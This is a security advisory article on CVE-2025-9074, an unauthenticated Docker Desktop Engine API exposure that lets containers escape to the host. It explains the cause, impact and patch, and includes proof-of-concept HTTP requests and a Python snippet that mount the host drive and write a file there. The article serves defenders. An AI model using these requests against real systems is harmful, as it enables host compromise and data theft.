Deep Dive: CVE-2025-9074 – Critical Docker Desktop Container Escape

CVE-2025-9074 is a critical server-side request forgery (SSRF) vulnerability in Docker Desktop for Windows and macOS. It permits local containers to access the Docker Engine API over the Docker subnet (192.168.65.7:2375) without authentication, enabling container escapes and potential full host compromise. This flaw is present regardless of Enhanced Container Isolation (ECI) or “Expose daemon on tcp://localhost:2375” settings.

Root Cause:

Docker Desktop on Windows/macOS uses a lightweight VM to host containers. To bridge communication, it exposes the Docker Engine API over a TCP service bound to the gateway address 192.168.65.7:2375.

This interface is intended only for the Desktop client.
No authentication or TLS is enforced inside the VM.
Containers share the same virtual subnet as the host VM, so they can directly reach the API.

In short, a container can talk directly to the host's management API as if it were Docker Desktop itself.

Severity & Impact

CVSS score: 9.3 (Critical).
Affected versions: All Docker Desktop releases prior to 4.44.3 on Windows and macOS.
Linux users are unaffected, as Docker on Linux uses a Unix socket instead of an exposed TCP port.

Why It’s Dangerous?

Normally, these APIs should only be accessible to the local Docker CLI (e.g., docker run). But because the service is exposed without mutual TLS or socket file restrictions, any container can:

Create new containers.
Mount arbitrary host directories.
Execute commands with host-level impact.

On Windows, this means DLL injection or privilege escalation; on macOS, it’s mitigated by permission prompts but still enables persistence or lateral movement.

Platform-Specific Risks

Windows (WSL2 backend): Extremely dangerous—allows container to mount entire filesystem, read sensitive files, and overwrite system DLLs to escalate privileges to administrator.
macOS: Safer due to OS-level safeguards—mount attempts typically prompt user permission; Docker runs with limited privileges by default. But attackers may still backdoor Docker or containers.

Technical Breakdown

Vulnerability Mechanism

Docker Desktop exposes its management HTTP API (http://192.168.65.7:2375) to containers without authentication. This API allows execution of actions such as creating containers, managing images, starting containers, and mounting host volumes—all from an attacker-controlled container.

PoC Exploit (HTTP POST Requests)

Researchers demonstrated exploitation using only two HTTP POST requests:

Create a privileged container with host volume binding:

   POST http://192.168.65.7:2375/containers/create
   Content-Type: application/json
 
   {
     "Image": "alpine",
     "Volumes": { 
       "C:\\": {} 
     },
     "HostConfig": {
       "Binds": ["C:\\: /mnt/host_c"]
     },
     "Cmd": ["touch", "/mnt/host_c/pwned_by_CVE_2025_9074"]
   }

Start the container:

   POST http://192.168.65.7:2375/containers/<container-id>/start

Once running, the container can freely read/write the host filesystem.

Alternatively, a concise Python exploit:

import docker
client = docker.DockerClient(base_url="tcp://192.168.65.7:2375")
client.containers.run(
    "alpine",
    "touch /mnt/pwned",
    volumes=["/Users/youruser/:/mnt"]
)

This demonstrates how easily an attacker can break containment.

SSRF Chaining

If a vulnerable web app running inside Docker is susceptible to SSRF, it could proxy requests to the Docker API, launching the exploit chain without any container-level code running directly.

Mitigation & Recommendations

Update immediately to Docker Desktop version 4.44.3 or later.
Audit your container configurations: Avoid granting excessive privileges; treat internal Docker APIs as potentially risky.
Adopt zero-trust principles: Even local environments should assume APIs may be compromised.
Monitor Docker activities, including API access patterns, container launches, and unusual volume mounts.
Avoid running untrusted containers, especially in development environments.

Summary

CVE-2025-9074 reveals that assumptions about container isolation can be dangerously brittle. With only minimal HTTP access, a malicious container can completely compromise a host—especially on Windows where Docker Desktop uses WSL2. Although macOS offers better protection, it’s by no means immune. The one reliable defense is patching to Docker Desktop 4.44.3. Developers and security teams must also harden Docker usage and monitor it proactively to prevent similar attacks.

***
Note on Content Creation: This article was developed with the assistance of generative AI like Gemini or ChatGPT. While all public AI strives for accuracy and comprehensive coverage, all content is reviewed and edited by human experts at IsoSecu to ensure factual correctness, relevance, and adherence to our editorial standards.